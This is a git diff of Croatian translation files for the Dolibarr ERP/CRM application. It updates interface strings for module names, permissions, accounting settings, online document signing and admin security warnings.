%s . WarningPHPMailSPF=Ako je naziv domene u adresi e-pošte pošiljatelja zaštićen SPF zapisom (pitajte svoj registar imena domene), morate dodati sljedeće IP adrese u SPF zapis DNS-a vaše domene: %s . ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Example:
      For the form to create a new third PageUrlForDefaultValuesList=
      Example:
      For the page that lists third parties, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/" so use a path like mymodule/mypagelist.php and not custom/mymodule/mypagelist.php.
      If you want default value only if url has some parameter, you can use %s AlsoDefaultValuesAreEffectiveForActionCreate=Također imajte na umu da prepisivanje zadanih vrijednosti za kreiranje obrasca radi samo za stranice koje su ispravno dizajnirane (pa s parametrom action=create ili presen...) EnableDefaultValues=Omogućite prilagodbu zadanih vrijednosti -EnableOverwriteTranslation=Omogući korištenje prepisanog prijevoda +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=Pronađen je prijevod za ključ s ovim kodom. Da biste promijenili ovu vrijednost, morate je urediti iz Početna > Postavke > Prijevod. WarningSettingSortOrder=Upozorenje, postavljanje zadanog redoslijeda sortiranja može dovesti do tehničke pogreške pri odlasku na stranicu s popisom ako je polje nepoznato. Ako naiđete na takvu pogrešku, vratite se na ovu stranicu da uklonite zadani redoslijed sortiranja i vratite zadano ponašanje. Field=Polje @@ -643,11 +646,13 @@ Module2300Name=Planirani poslovi Module2300Desc=Upravljanje planiranim poslovima (alias cron ili chrono tablica) Module2400Name=Događaji/Raspored Module2400Desc=Pratite događaje. Zabilježite automatske događaje u svrhu praćenja ili zabilježite ručne događaje ili sastanke. Ovo je glavni modul za dobro upravljanje odnosima s kupcima ili dobavljačima. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Sustav za upravljanje dokumentima / Upravljanje elektroničkim sadržajem. Automatska organizacija vaših generiranih ili pohranjenih dokumenata. Podijelite ih kada trebate. -Module2600Name=API/Web servisi (SOAP server) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Omogući Dolibarr SOAP server pružatelja API servisa -Module2610Name=API/Webservis (REST server) +Module2610Name=API / Web services (REST server) Module2610Desc=Omogući Dolibarr REST server pružajući API servise Module2660Name=Call WebServices (SOAP client) Module2660Desc=Omogućite klijenta web usluga Dolibarr (može se koristiti za slanje podataka/zahtjeva na vanjske poslužitelje. Trenutno su podržane samo narudžbe za kupnju.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind mogućnosti konverzije Module3200Name=Nepromjenjivi arhivi Module3200Desc=Omogućite nepromjenjivi zapisnik poslovnih događaja. Događaji se arhiviraju u stvarnom vremenu. Dnevnik je tablica samo za čitanje vezanih događaja koji se mogu izvesti. Ovaj modul može biti obavezan za neke zemlje. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Društvene mreže Module3400Desc=Omogućite polja društvenih mreža trećim stranama i adresama (skype, twitter, facebook, ...). Module4000Name=Djelatnici @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Dodaj mogučnosti za upravljanje Incoterm-om Module63000Name=Sredstva Module63000Desc=Upravljajte resursima (pisači, automobili, sobe,...) za dodjelu događaja -Permission11=Pregledaj izlazne račune +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Izradi/promijeni izlazne račune Permission13=Poništite račune kupaca Permission14=Ovjeri izlazni račun @@ -842,9 +852,9 @@ Permission286=Izvezi kontakte Permission291=Čitaj tarife Permission292=Postavi dozvole na tarifama Permission293=Izmijenite tarife kupaca -Permission300=Čitanje crtičnih kodova -Permission301=Stvaranje/izmjena crtičnih kodova -Permission302=Izbrišite crtične kodove +Permission301=Generate PDF sheets of barcodes +Permission304=Stvaranje/izmjena crtičnih kodova +Permission305=Izbrišite crtične kodove Permission311=Čitaj usluge Permission312=Dodavanje usluge/pretplate ugovoru Permission331=Čitaj zabilješke @@ -940,7 +950,7 @@ Permission1190=Odobri (drogo odobrenje) narudžba dobavljača Permission1191=Izvoz narudžbi dobavljača i njihovih atributa Permission1201=Primi rezultat izvoza Permission1202=Izradi/izmjeni izvoz -Permission1231=Čitaj račune dobavljača +Permission1231=Read vendor invoices (and payments) Permission1232=Kreiraj/izmjeni račune dobavljača Permission1233=Ovjeri račune dobavljača Permission1234=Obriši račune dobavljača @@ -971,13 +981,14 @@ Permission3301=Generirajte nove module Permission4001=Pročitajte vještinu/posao/poziciju Permission4002=Stvorite/izmijenite vještinu/posao/poziciju Permission4003=Izbrišite vještinu/posao/poziciju -Permission4020=Pročitajte evaluaciju -Permission4021=Napravite/izmijenite svoju evaluaciju -Permission4022=Potvrdite evaluaciju -Permission4023=Izbriši evaluaciju -Permission4030=Pogledajte izbornik za usporedbu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Potvrdite evaluaciju +Permission4025=Izbriši evaluaciju +Permission4028=Pogledajte izbornik za usporedbu Permission4031=Pročitajte osobne podatke Permission4032=Napišite osobne podatke +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Pročitajte sadržaj web stranice Permission10002=Izrada/izmjena sadržaja web stranice (html i javascript sadržaj) Permission10003=Izrada/izmjena sadržaja web stranice (dinamički php kod). Opasno, mora biti rezervirano za programere. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Vrsta raspolaganja imovinom TypeOfUnit=Vrsta jedinice SetupSaved=Postavi spremljeno SetupNotSaved=Postavljanje nije spremljeno +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Povratak na popis modula BackToDictionaryList=Povratak na popis definicija TypeOfRevenueStamp=Vrsta porezne marke @@ -1180,7 +1195,7 @@ CompanyInfo=Tvrtka/Organizacija CompanyIds=Identiteti tvrtke/organizacije CompanyName=Naziv CompanyAddress=Adresa -CompanyZip=PBR +CompanyZip=Poštanski broj CompanyTown=Grad CompanyCountry=Zemlja CompanyCurrency=Glavna valuta @@ -1222,7 +1237,7 @@ SetupDescription4= %s -> %s

      Ovaj softver je paket m SetupDescription5=Ostali unosi izbornika za postavljanje upravljaju izbornim parametrima. SetupDescriptionLink= %s - %s SetupDescription3b=Osnovni parametri koji se koriste za prilagodbu zadanog ponašanja vaše aplikacije (npr. za značajke vezane uz zemlju). -SetupDescription4b=Ovaj softver je skup mnogih modula/aplikacija. Moduli koji se odnose na vaše potrebe moraju biti omogućeni i konfigurirani. Unosi izbornika će se pojaviti s aktivacijom ovih modula. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Sigurnosni događaji koji se revidiraju NoSecurityEventsAreAduited=Sigurnosni događaji se ne revidiraju. Možete ih omogućiti iz izbornika %s Audit=Sigurnosni događaji @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Parametre postavljanja mogu postaviti samo administratorski SystemInfoDesc=Informacije o sustavu su razne tehničke informacije koje dobivate u načinu samo za čitanje i vidljive samo administratorima. SystemAreaForAdminOnly=Ovo područje je dostupno samo administratorskim korisnicima. Dolibarr korisnička dopuštenja ne mogu promijeniti ovo ograničenje. CompanyFundationDesc=Uredite podatke svoje tvrtke/organizacije. Kliknite na gumb "%s" na dnu stranice kada završite. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=Ako imate vanjskog računovođu/knjigovođu, ovdje možete urediti njegove podatke. AccountantFileNumber=Šifra računovođe DisplayDesc=Ovdje se mogu mijenjati parametri koji utječu na izgled i prezentaciju aplikacije. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Okidači u ovoj datoteci su aktivni jer je modul GeneratedPasswordDesc=Odaberite metodu koja će se koristiti za automatski generirane lozinke. DictionaryDesc=Unesite sve referentne podatke. Možete postaviti svoje vrijednosti kao zadane. ConstDesc=Ova stranica vam omogućuje uređivanje (nadjačavanje) parametara koji nisu dostupni na drugim stranicama. Ovo su uglavnom rezervirani parametri samo za programere/napredno rješavanje problema. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Svi ostali sigurnosni parametri su definirani ovdje. LimitsSetup=Podešavanje limita/preciznosti LimitsDesc=Ovdje možete definirati ograničenja, preciznosti i optimizacije koje koristi Dolibarr @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Ovu naredbu morate pokrenuti iz YourPHPDoesNotHaveSSLSupport=SSL funkcije nisu dostupne u vašem PHP DownloadMoreSkins=Više skinova za skinuti SimpleNumRefModelDesc=Vraća referentni broj u formatu %syymm-nnnn gdje je yy godina, mm je mjesec, a nnnn je sekvencijalni broj koji se automatski povećava bez ponovnog postavljanja +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Vraća referentni broj u formatu %syymm-nnnn gdje je yy godina, mm je mjesec, a nnnn je sekvencijalni broj koji se automatski povećava bez ponovnog postavljanja SimpleNumRefNoDateModelDesc=Vraća referentni broj u formatu %s-nnnn gdje je nnnn sekvencijalni broj koji se automatski povećava bez ponovnog postavljanja ShowProfIdInAddress=Pokažite profesionalni ID s adresama ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1380,7 +1399,7 @@ GetBarCode=Uzmi barkod NumberingModules=Modeli numeriranja DocumentModules=Modeli dokumenata ##### Module password generation -PasswordGenerationStandard=Vratite lozinku generiranu prema internom Dolibarrovom algoritmu: %s znakova koji sadrže zajedničke brojeve i znakove u malim slovima. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Nemojte predlagati generiranu lozinku. Lozinka se mora unijeti ručno. PasswordGenerationPerso=Vrati lozinku prema vašoj osobno postavljenoj konfiguraciji. SetupPerso=Sukladno vašoj konfiguraciji @@ -1434,6 +1453,10 @@ SuppliersPayment=Plaćanja dobavljača SupplierPaymentSetup=Postavljanje plaćanja dobavljača InvoiceCheckPosteriorDate=Prije provjere valjanosti provjerite datum proizvodnje InvoiceCheckPosteriorDateHelp=Provjera valjanosti računa bit će zabranjena ako je datum prije datuma posljednje fakture iste vrste. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Podešavanje modula ponuda ProposalsNumberingModules=Modeli brojeva ponuda @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Vodeni žig na skicama ugovora (ništa ako se osta ##### Members ##### MembersSetup=Podešavanje modula članova MemberMainOptions=Glavne opcije +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Upravljanje prijavom svakog korisnika AdherentMailRequired=E-mail je potreban za stvaranje novog člana MemberSendInformationByMailByDefault=Checkbox to send mail confirmation to members (validation or new subscription) is on by default MemberCreateAnExternalUserForSubscriptionValidated=Izradite vanjsko korisničko ime za svaku potvrđenu pretplatu novog člana -VisitorCanChooseItsPaymentMode=Posjetitelj može birati između dostupnih načina plaćanja +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Omogućite automatski podsjetnik putem e-pošte o isteklim pretplatama. Napomena: Modul %s mora biti omogućen i ispravno postavljen za slanje podsjetnika. MembersDocModules=Predlošci dokumenata za dokumente generirane iz zapisa članova ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Aktiviraj napredni uređivač za: FCKeditorForNotePublic=WYSIWIG izrada/izdanje polja "javne bilješke" elemenata FCKeditorForNotePrivate=WYSIWIG kreiranje/izdanje polja "privatne bilješke" elemenata FCKeditorForCompany=WYSIWIG kreiranje/izdanje opisa polja elemenata (osim proizvoda/usluga) -FCKeditorForProduct=WYSIWIG izrada/izdanje opisa polja proizvoda/usluga -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= Kreiranje/izdanje WYSIWIG-a za masovne slanje e-pošte (Alati->E-pošta) FCKeditorForUserSignature=WYSIWIG kreiranje/izdanje korisničkog potpisa FCKeditorForMail=Izrada/izdanje WYSIWIG-a za svu poštu (osim Alati->E-pošta) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Nosioc izbornika gdje da se prikaže novi izbornik DetailMenuModule=Naziv modula ako stavka izbornika dolazi iz modula DetailType=Vrsta izbornika (gore ili lijevi) DetailTitre=Oznaka izbornika ili oznaka koda za prijevod -DetailUrl=URL where menu send you (Absolute URL link or external link with http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Uvjet za prikaz stavke ili ne DetailRight=Uvjet za prikaz neautoroziranih sivih izbornika DetailLangs=Jezična datoteka za oznakz koda prijevoda @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Use events types (managed in menu Setup -> Dictionaries -> AGENDA_USE_EVENT_TYPE_DEFAULT=Automatski postavite ovu zadanu vrijednost za vrstu događaja u obrascu za kreiranje događaja AGENDA_DEFAULT_FILTER_TYPE=Automatski postavite ovu vrstu događaja u filter pretraživanja prikaza dnevnog reda AGENDA_DEFAULT_FILTER_STATUS=Automatski postavite ovaj status za događaje u filteru pretraživanja prikaza dnevnog reda +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). AGENDA_REMINDER_BROWSER_SOUND=Omogući zvučnu obavijest @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Smanjenje zaliha u POS-u nije kompati CashDeskYouDidNotDisableStockDecease=Niste onemogućili smanjenje zaliha prilikom prodaje s prodajnog mjesta. Stoga je potrebno skladište. CashDeskForceDecreaseStockLabel=Smanjenje zaliha za proizvode iz serije je prisilno. CashDeskForceDecreaseStockDesc=Prvo smanjite za najstarije datume obroka i datuma prodaje. -CashDeskReaderKeyCodeForEnter=Ključni kod za "Enter" definiran u čitaču bar koda (Primjer: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Podešavanje modula zabilješki BookmarkDesc=Ovaj modul vam omogućuje upravljanje oznakama. Također možete dodati prečace na bilo koje Dolibarr stranice ili vanjske web stranice na lijevom izborniku. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Modeli numeriranja faktura dobavljača IfSetToYesDontForgetPermission=Ako je postavljena na vrijednost koja nije null, ne zaboravite dati dopuštenja grupama ili korisnicima kojima je dopušteno drugo odobrenje ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Podešavanje modula GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation.
      Examples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Note that your ip to country data file must be inside a directory your PHP can read (Check your PHP open_basedir setup and filesystem permissions). YouCanDownloadFreeDatFileTo=You can download a free demo version of the Maxmind GeoIP country file at %s. YouCanDownloadAdvancedDatFileTo=You can also download a more complete version, with updates, of the Maxmind GeoIP country file at %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Čarobnjak za izradu datoteke dump baze podataka BackupZipWizard=Čarobnjak za izgradnju arhive dokumenata direktorija SomethingMakeInstallFromWebNotPossible=Instalacija vanjskog modula nije moguća s web sučelja iz sljedećeg razloga: SomethingMakeInstallFromWebNotPossible2=For this reason, process to upgrade described here is a manual process only a privileged user may perform. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Install of external module from application has been disabled by your administrator. You must ask him to remove the file %s to allow this feature. ConfFileMustContainCustom=Installing or building an external module from application need to save the module files into directory %s. To have this directory processed by Dolibarr, you must setup your conf/conf.php to add the 2 directive lines:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Označite linije tablice kada miš prijeđe @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Uklonite posebne znakove COMPANY_AQUARIUM_CLEAN_REGEX=Redovni izraz filter za čistu vrijednost (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Redovni izraz za čišćenje vrijednosti (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplikat nije dopušten +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Službenik za zaštitu podataka (DPO, kontakt za privatnost podataka ili GDPR) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Tekst pomoći za prikaz u opisu alata @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Ciljni direktorij poštanskog sandučića EmailcollectorOperations=Operations to do by collector EmailcollectorOperationsDesc=Operacije se izvode od vrha do dna MaxEmailCollectPerCollect=Max number of emails collected per collect +TestCollectNow=Test collect CollectNow=Prikupite sada ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Datum posljednjeg pokušaja prikupljanja @@ -2109,6 +2140,7 @@ CodeLastResult=Najnoviji kod rezultata NbOfEmailsInInbox=Broj e-poruka u izvornom direktoriju LoadThirdPartyFromName=Učitaj traženje treće strane na %s (samo učitavanje) LoadThirdPartyFromNameOrCreate=Učitajte pretraživanje treće strane na %s (napravi ako nije pronađeno) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Spremite priložene datoteke u objektne dokumente ako se referenca objekta pronađe u temi e-pošte. WithDolTrackingID=Poruka iz razgovora pokrenutog prvom e-poštom poslanom od Dolibarra WithoutDolTrackingID=Poruka iz razgovora pokrenutog prvom e-poštom NIJE poslanom od Dolibarra @@ -2183,6 +2215,7 @@ ShowProjectLabel=Oznaka projekta PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=If you want to have some texts in your PDF duplicated in 2 different languages in the same generated PDF, you must set here this second language so generated PDF will contains 2 different languages in same page, the one chosen when generating PDF and this one (only few PDF templates support this). Keep empty for 1 language per PDF. PDF_USE_A=Generirajte PDF dokumente u formatu PDF/A umjesto zadanog formata PDF FafaIconSocialNetworksDesc=Ovdje unesite kod ikone FontAwesome. Ako ne znate što je FontAwesome, možete koristiti generičku vrijednost fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Partnerstvo AGENDA_EVENT_DEFAULT_STATUS=Zadani status događaja prilikom kreiranja događaja iz obrasca YouShouldDisablePHPFunctions=Trebali biste onemogućiti PHP funkcije IfCLINotRequiredYouShouldDisablePHPFunctions=Osim ako trebate pokrenuti naredbe sustava u prilagođenom kodu, trebali biste onemogućiti PHP funkcije -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=U vašem korijenskom direktoriju nisu pronađene datoteke za pisanje ili direktoriji uobičajenih programa (Dobro) RecommendedValueIs=Preporučeno: %s Recommended=Preporučeno NotRecommended=Nije preporučeno -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Provjerite ima li ažuriranja vanjskih modula CheckForModuleUpdateHelp=Ova će se radnja povezati s urednicima vanjskih modula kako bi provjerili je li dostupna nova verzija. ModuleUpdateAvailable=Dostupno je ažuriranje @@ -2264,10 +2297,10 @@ LateWarningAfter="Kasno" upozorenje nakon TemplateforBusinessCards=Predložak za posjetnicu u različitim veličinama InventorySetup= Postavljanje zaliha ExportUseLowMemoryMode=Koristite način rada s malo memorije -ExportUseLowMemoryModeHelp=Upotrijebite način rada s malo memorije da izvršite exec ispis (komprimiranje se vrši kroz cijev umjesto u PHP memoriju). Ova metoda ne dopušta provjeru je li datoteka dovršena i poruka o pogrešci se ne može prijaviti ako ne uspije. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Postavke WebhookSetupPage = Webhook setup page @@ -2288,6 +2321,8 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one DarkThemeMode=Dark theme mode @@ -2307,3 +2342,37 @@ UsePassword=Use a password UseOauth=Use a OAUTH token Images=Images MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/hr_HR/commercial.lang b/htdocs/langs/hr_HR/commercial.lang index 9c8fa30267b..9d0459a543f 100644 --- a/htdocs/langs/hr_HR/commercial.lang +++ b/htdocs/langs/hr_HR/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=Status potencijalnog kupca DraftPropals=Skica ponude NoLimit=Bez ograničenja ToOfferALinkForOnlineSignature=Link za online potpis -WelcomeOnOnlineSignaturePage=Dobrodošli na stranicu za prihvaćanje komercijalnih prijedloga od %s -ThisScreenAllowsYouToSignDocFrom=Ovaj zaslon vam omogućuje da prihvatite i potpišete ili odbijete ponudu/komercijalni prijedlog -ThisIsInformationOnDocumentToSign=Ovo je informacija o dokumentu koji treba prihvatiti ili odbiti +WelcomeOnOnlineSignaturePageProposal=Dobrodošli na stranicu za prihvaćanje komercijalnih prijedloga od %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=Ovaj zaslon vam omogućuje da prihvatite i potpišete ili odbijete ponudu/komercijalni prijedlog +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=Ovo je informacija o dokumentu koji treba prihvatiti ili odbiti +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Potpis ponude/komercijalnog prijedloga %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Značajka za online potpisivanje onemogućena ili dokument generiran prije nego što je značajka omogućena diff --git a/htdocs/langs/hr_HR/compta.lang b/htdocs/langs/hr_HR/compta.lang index 4705d496e6c..489392888c8 100644 --- a/htdocs/langs/hr_HR/compta.lang +++ b/htdocs/langs/hr_HR/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Stanje (prije) Balance=Stanje Debit=Zaduženje Credit=Kredit +AccountingDebit=Zaduženje +AccountingCredit=Kredit Piece=Računovodstveni dok. AmountHTVATRealReceived=Nije naplaćeno AmountHTVATRealPaid=Neto plaćeno @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=The report of Turnover colle TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=The report of Turnover collected per sale tax rate is not available. This report is only available for turnover invoiced. CalculationMode=Način izračuna AccountancyJournal=Kontni plan -ACCOUNTING_VAT_SOLD_ACCOUNT=Accounting account by default for VAT on sales (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_BUY_ACCOUNT=Accounting account by default for VAT on purchases (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_PAY_ACCOUNT=Accounting account by default for paying VAT -ACCOUNTING_ACCOUNT_CUSTOMER=Accounting account used for customer third parties +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated customer accounting account on third party is not defined. -ACCOUNTING_ACCOUNT_SUPPLIER=Accounting account used for vendor third parties +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated vendor accounting account on third party is not defined. ConfirmCloneTax=Potvrdi kloniranje plaćanja društvenog/fiskalnog poreza ConfirmCloneVAT=Potvrdite klon PDV deklaracije @@ -300,3 +302,4 @@ InvoiceToPay15Days=Za plaćanje (15 do 30 dana) InvoiceToPay30Days=Za plaćanje (> 30 dana) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? 